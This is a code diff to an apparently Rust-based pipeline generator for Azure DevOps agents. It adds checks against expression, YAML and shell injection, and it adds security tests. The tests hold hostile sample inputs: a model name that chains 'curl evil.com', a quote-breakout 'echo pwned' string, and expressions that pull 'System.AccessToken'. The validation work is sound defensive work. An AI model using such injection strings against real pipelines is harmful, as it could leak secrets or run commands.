@@ -145,21 +145,48 @@ fn is_valid_parameter_name(name: &str) -> bool {
145145 && chars. all ( |c| c. is_ascii_alphanumeric ( ) || c == '_' )
146146}
147147
148- /// Reject ADO template expressions (`${{`) and macro expressions (`$(`) in a string value.
149- /// Parameter definitions should only contain literal values — expressions could enable
150- /// information disclosure or logic manipulation in the generated pipeline.
148+ /// Reject ADO template expressions (`${{`), macro expressions (`$(`), and runtime
149+ /// expressions (`$[`) in a string value. Parameter definitions should only contain
150+ /// literal values — expressions could enable information disclosure or logic manipulation
151+ /// in the generated pipeline.
151152fn reject_ado_expressions ( value : & str , param_name : & str , field_name : & str ) -> Result < ( ) > {
152- if value. contains ( "${{" ) || value. contains ( "$(" ) {
153+ if value. contains ( "${{" ) || value. contains ( "$(" ) || value . contains ( "$[" ) {
153154 anyhow:: bail!(
154- "Parameter '{}' field '{}' contains an ADO expression ('${{{{' or '$( ') which is not \
155- allowed in parameter definitions. Use literal values only.",
155+ "Parameter '{}' field '{}' contains an ADO expression ('${{{{', '$(', or '$[ ') which \
156+ is not allowed in parameter definitions. Use literal values only.",
156157 param_name,
157158 field_name,
158159 ) ;
159160 }
160161 Ok ( ( ) )
161162}
162163
164+ /// Validate front matter `name` and `description` fields.
165+ ///
166+ /// These values are substituted directly into the pipeline YAML template and must not
167+ /// contain ADO expressions (`${{`, `$(`, `$[`) which could disclose secrets or manipulate
168+ /// pipeline logic. Newlines are also rejected to prevent YAML structure injection.
169+ pub fn validate_front_matter_identity ( front_matter : & FrontMatter ) -> Result < ( ) > {
170+ for ( field, value) in [ ( "name" , & front_matter. name ) , ( "description" , & front_matter. description ) ] {
171+ if value. contains ( "${{" ) || value. contains ( "$(" ) || value. contains ( "$[" ) {
172+ anyhow:: bail!(
173+ "Front matter '{}' contains an ADO expression ('${{{{', '$(', or '$[') which is not allowed. \
174+ Use literal values only. Found: '{}'",
175+ field,
176+ value,
177+ ) ;
178+ }
179+ if value. contains ( '\n' ) || value. contains ( '\r' ) {
180+ anyhow:: bail!(
181+ "Front matter '{}' must be a single line (no newlines). \
182+ Multi-line values could inject YAML structure into the generated pipeline.",
183+ field,
184+ ) ;
185+ }
186+ }
187+ Ok ( ( ) )
188+ }
189+
163190/// Reject ADO expressions in a serde_yaml::Value, recursing into strings within sequences.
164191fn reject_ado_expressions_in_value (
165192 value : & serde_yaml:: Value ,
@@ -265,10 +292,10 @@ pub fn generate_pipeline_resources(triggers: &Option<TriggerConfig>) -> Result<S
265292 let mut yaml = String :: from ( "pipelines:\n " ) ;
266293
267294 yaml. push_str ( & format ! ( " - pipeline: {}\n " , resource_id) ) ;
268- yaml. push_str ( & format ! ( " source: '{}'\n " , pipeline. name) ) ;
295+ yaml. push_str ( & format ! ( " source: '{}'\n " , pipeline. name. replace ( '\'' , "''" ) ) ) ;
269296
270297 if let Some ( project) = & pipeline. project {
271- yaml. push_str ( & format ! ( " project: '{}'\n " , project) ) ;
298+ yaml. push_str ( & format ! ( " project: '{}'\n " , project. replace ( '\'' , "''" ) ) ) ;
272299 }
273300
274301 // If no branches specified, trigger on any branch
@@ -279,7 +306,7 @@ pub fn generate_pipeline_resources(triggers: &Option<TriggerConfig>) -> Result<S
279306 yaml. push_str ( " branches:\n " ) ;
280307 yaml. push_str ( " include:\n " ) ;
281308 for branch in & pipeline. branches {
282- yaml. push_str ( & format ! ( " - {} \n " , branch) ) ;
309+ yaml. push_str ( & format ! ( " - '{}' \n " , branch. replace ( '\'' , "''" ) ) ) ;
283310 }
284311 }
285312
@@ -388,7 +415,7 @@ const DEFAULT_BASH_COMMANDS: &[&str] = &[
388415] ;
389416
390417/// Generate copilot CLI params from front matter configuration
391- pub fn generate_copilot_params ( front_matter : & FrontMatter ) -> String {
418+ pub fn generate_copilot_params ( front_matter : & FrontMatter ) -> Result < String > {
392419 let mut allowed_tools: Vec < String > = vec ! [ "github" . to_string( ) , "safeoutputs" . to_string( ) ] ;
393420
394421 // Edit tool: enabled by default, can be disabled with `edit: false`
@@ -422,12 +449,35 @@ pub fn generate_copilot_params(front_matter: &FrontMatter) -> String {
422449 }
423450 } ;
424451 for cmd in bash_commands {
452+ // Reject single quotes in bash commands — copilot_params are embedded inside
453+ // a single-quoted bash string in the AWF command.
454+ if cmd. contains ( '\'' ) {
455+ anyhow:: bail!(
456+ "Bash command '{}' contains a single quote, which is not allowed \
457+ (would break AWF shell quoting).",
458+ cmd
459+ ) ;
460+ }
425461 allowed_tools. push ( format ! ( "shell({})" , cmd) ) ;
426462 }
427463
428464 let mut params = Vec :: new ( ) ;
429465
430- params. push ( format ! ( "--model {}" , front_matter. engine. model( ) ) ) ;
466+ // Validate model name to prevent shell injection — copilot_params are embedded
467+ // inside a single-quoted bash string in the AWF command.
468+ let model = front_matter. engine . model ( ) ;
469+ if model. is_empty ( )
470+ || !model
471+ . chars ( )
472+ . all ( |c| c. is_ascii_alphanumeric ( ) || matches ! ( c, '.' | '_' | ':' | '-' ) )
473+ {
474+ anyhow:: bail!(
475+ "Model name '{}' contains invalid characters. \
476+ Only ASCII alphanumerics, '.', '_', ':', and '-' are allowed.",
477+ model
478+ ) ;
479+ }
480+ params. push ( format ! ( "--model {}" , model) ) ;
431481 if front_matter. engine . max_turns ( ) . is_some ( ) {
432482 eprintln ! (
433483 "Warning: Agent '{}' has max-turns set, but max-turns is not supported by Copilot CLI \
@@ -458,7 +508,7 @@ pub fn generate_copilot_params(front_matter: &FrontMatter) -> String {
458508 }
459509 }
460510
461- params. join ( " " )
511+ Ok ( params. join ( " " ) )
462512}
463513
464514/// Compute the effective workspace based on explicit setting and checkout configuration.
@@ -1194,7 +1244,7 @@ mod tests {
11941244 cache_memory : None ,
11951245 azure_devops : None ,
11961246 } ) ;
1197- let params = generate_copilot_params ( & fm) ;
1247+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
11981248 assert ! ( params. contains( "--allow-tool \" shell(:*)\" " ) ) ;
11991249 }
12001250
@@ -1207,7 +1257,7 @@ mod tests {
12071257 cache_memory : None ,
12081258 azure_devops : None ,
12091259 } ) ;
1210- let params = generate_copilot_params ( & fm) ;
1260+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12111261 assert ! ( !params. contains( "shell(" ) ) ;
12121262 }
12131263
@@ -1221,7 +1271,7 @@ mod tests {
12211271 ..Default :: default ( )
12221272 } ) ,
12231273 ) ;
1224- let params = generate_copilot_params ( & fm) ;
1274+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12251275 assert ! ( !params. contains( "--mcp my-tool" ) ) ;
12261276 }
12271277
@@ -1230,7 +1280,7 @@ mod tests {
12301280 let mut fm = minimal_front_matter ( ) ;
12311281 fm. mcp_servers
12321282 . insert ( "ado" . to_string ( ) , McpConfig :: Enabled ( true ) ) ;
1233- let params = generate_copilot_params ( & fm) ;
1283+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12341284 // Copilot CLI has no built-in MCPs — all MCPs are handled via the MCP firewall
12351285 assert ! ( !params. contains( "--mcp ado" ) ) ;
12361286 }
@@ -1241,14 +1291,14 @@ mod tests {
12411291 "---\n name: test\n description: test\n engine:\n model: claude-opus-4.5\n max-turns: 50\n ---\n " ,
12421292 )
12431293 . unwrap ( ) ;
1244- let params = generate_copilot_params ( & fm) ;
1294+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12451295 assert ! ( !params. contains( "--max-turns" ) , "max-turns should not be emitted as a CLI arg" ) ;
12461296 }
12471297
12481298 #[ test]
12491299 fn test_copilot_params_no_max_turns_when_simple_engine ( ) {
12501300 let fm = minimal_front_matter ( ) ;
1251- let params = generate_copilot_params ( & fm) ;
1301+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12521302 assert ! ( !params. contains( "--max-turns" ) ) ;
12531303 }
12541304
@@ -1258,14 +1308,14 @@ mod tests {
12581308 "---\n name: test\n description: test\n engine:\n model: claude-opus-4.5\n timeout-minutes: 30\n ---\n " ,
12591309 )
12601310 . unwrap ( ) ;
1261- let params = generate_copilot_params ( & fm) ;
1311+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12621312 assert ! ( !params. contains( "--max-timeout" ) , "timeout-minutes should not be emitted as a CLI arg" ) ;
12631313 }
12641314
12651315 #[ test]
12661316 fn test_copilot_params_no_max_timeout_when_simple_engine ( ) {
12671317 let fm = minimal_front_matter ( ) ;
1268- let params = generate_copilot_params ( & fm) ;
1318+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12691319 assert ! ( !params. contains( "--max-timeout" ) ) ;
12701320 }
12711321
@@ -1275,7 +1325,7 @@ mod tests {
12751325 "---\n name: test\n description: test\n engine:\n model: claude-opus-4.5\n max-turns: 0\n ---\n " ,
12761326 )
12771327 . unwrap ( ) ;
1278- let params = generate_copilot_params ( & fm) ;
1328+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12791329 assert ! ( !params. contains( "--max-turns" ) , "max-turns should not be emitted as a CLI arg" ) ;
12801330 }
12811331
@@ -1285,7 +1335,7 @@ mod tests {
12851335 "---\n name: test\n description: test\n engine:\n model: claude-opus-4.5\n timeout-minutes: 0\n ---\n " ,
12861336 )
12871337 . unwrap ( ) ;
1288- let params = generate_copilot_params ( & fm) ;
1338+ let params = generate_copilot_params ( & fm) . unwrap ( ) ;
12891339 assert ! ( !params. contains( "--max-timeout" ) , "timeout-minutes should not be emitted as a CLI arg" ) ;
12901340 }
12911341
@@ -2200,4 +2250,109 @@ mod tests {
22002250 "None service connection should produce empty env block"
22012251 ) ;
22022252 }
2253+
2254+ // ─── Security validation tests ────────────────────────────────────────────
2255+
2256+ #[ test]
2257+ fn test_model_name_rejects_single_quote ( ) {
2258+ let ( mut fm, _) = parse_markdown (
2259+ "---\n name: test\n description: test\n engine: claude-opus-4.5\n ---\n " ,
2260+ )
2261+ . unwrap ( ) ;
2262+ fm. engine = crate :: compile:: types:: EngineConfig :: Simple ( "model' && echo pwned" . to_string ( ) ) ;
2263+ let result = generate_copilot_params ( & fm) ;
2264+ assert ! ( result. is_err( ) ) ;
2265+ assert ! ( result. unwrap_err( ) . to_string( ) . contains( "invalid characters" ) ) ;
2266+ }
2267+
2268+ #[ test]
2269+ fn test_model_name_rejects_space ( ) {
2270+ let mut fm = minimal_front_matter ( ) ;
2271+ fm. engine = crate :: compile:: types:: EngineConfig :: Simple ( "model && curl evil.com" . to_string ( ) ) ;
2272+ let result = generate_copilot_params ( & fm) ;
2273+ assert ! ( result. is_err( ) ) ;
2274+ }
2275+
2276+ #[ test]
2277+ fn test_model_name_allows_valid_names ( ) {
2278+ for name in & [ "claude-opus-4.5" , "gpt-5.2-codex" , "gemini-3-pro-preview" , "my_model:latest" ] {
2279+ let mut fm = minimal_front_matter ( ) ;
2280+ fm. engine = crate :: compile:: types:: EngineConfig :: Simple ( name. to_string ( ) ) ;
2281+ let result = generate_copilot_params ( & fm) ;
2282+ assert ! ( result. is_ok( ) , "Model name '{}' should be valid" , name) ;
2283+ }
2284+ }
2285+
2286+ #[ test]
2287+ fn test_bash_command_rejects_single_quote ( ) {
2288+ let mut fm = minimal_front_matter ( ) ;
2289+ fm. tools = Some ( crate :: compile:: types:: ToolsConfig {
2290+ bash : Some ( vec ! [ "cat'" . to_string( ) ] ) ,
2291+ edit : None ,
2292+ cache_memory : None ,
2293+ azure_devops : None ,
2294+ } ) ;
2295+ let result = generate_copilot_params ( & fm) ;
2296+ assert ! ( result. is_err( ) ) ;
2297+ assert ! ( result. unwrap_err( ) . to_string( ) . contains( "single quote" ) ) ;
2298+ }
2299+
2300+ #[ test]
2301+ fn test_validate_front_matter_identity_rejects_ado_expression_in_name ( ) {
2302+ let mut fm = minimal_front_matter ( ) ;
2303+ fm. name = "My Agent ${{ variables['System.AccessToken'] }}" . to_string ( ) ;
2304+ let result = validate_front_matter_identity ( & fm) ;
2305+ assert ! ( result. is_err( ) ) ;
2306+ assert ! ( result. unwrap_err( ) . to_string( ) . contains( "ADO expression" ) ) ;
2307+ }
2308+
2309+ #[ test]
2310+ fn test_validate_front_matter_identity_rejects_macro_in_description ( ) {
2311+ let mut fm = minimal_front_matter ( ) ;
2312+ fm. description = "Agent $(System.AccessToken)" . to_string ( ) ;
2313+ let result = validate_front_matter_identity ( & fm) ;
2314+ assert ! ( result. is_err( ) ) ;
2315+ assert ! ( result. unwrap_err( ) . to_string( ) . contains( "ADO expression" ) ) ;
2316+ }
2317+
2318+ #[ test]
2319+ fn test_validate_front_matter_identity_rejects_newline_in_name ( ) {
2320+ let mut fm = minimal_front_matter ( ) ;
2321+ fm. name = "My Agent\n injected: true" . to_string ( ) ;
2322+ let result = validate_front_matter_identity ( & fm) ;
2323+ assert ! ( result. is_err( ) ) ;
2324+ assert ! ( result. unwrap_err( ) . to_string( ) . contains( "single line" ) ) ;
2325+ }
2326+
2327+ #[ test]
2328+ fn test_validate_front_matter_identity_allows_valid_values ( ) {
2329+ let mut fm = minimal_front_matter ( ) ;
2330+ fm. name = "Daily Code Review Agent" . to_string ( ) ;
2331+ fm. description = "Reviews code daily for quality issues" . to_string ( ) ;
2332+ let result = validate_front_matter_identity ( & fm) ;
2333+ assert ! ( result. is_ok( ) ) ;
2334+ }
2335+
2336+ #[ test]
2337+ fn test_validate_front_matter_identity_rejects_runtime_expression ( ) {
2338+ let mut fm = minimal_front_matter ( ) ;
2339+ fm. name = "Agent $[variables['System.AccessToken']]" . to_string ( ) ;
2340+ let result = validate_front_matter_identity ( & fm) ;
2341+ assert ! ( result. is_err( ) ) ;
2342+ assert ! ( result. unwrap_err( ) . to_string( ) . contains( "ADO expression" ) ) ;
2343+ }
2344+
2345+ #[ test]
2346+ fn test_pipeline_resources_escapes_single_quotes ( ) {
2347+ let triggers = Some ( TriggerConfig {
2348+ pipeline : Some ( crate :: compile:: types:: PipelineTrigger {
2349+ name : "Build's Pipeline" . to_string ( ) ,
2350+ project : Some ( "My'Project" . to_string ( ) ) ,
2351+ branches : vec ! [ "main" . to_string( ) ] ,
2352+ } ) ,
2353+ } ) ;
2354+ let result = generate_pipeline_resources ( & triggers) . unwrap ( ) ;
2355+ assert ! ( result. contains( "source: 'Build''s Pipeline'" ) ) ;
2356+ assert ! ( result. contains( "project: 'My''Project'" ) ) ;
2357+ }
22032358}
0 commit comments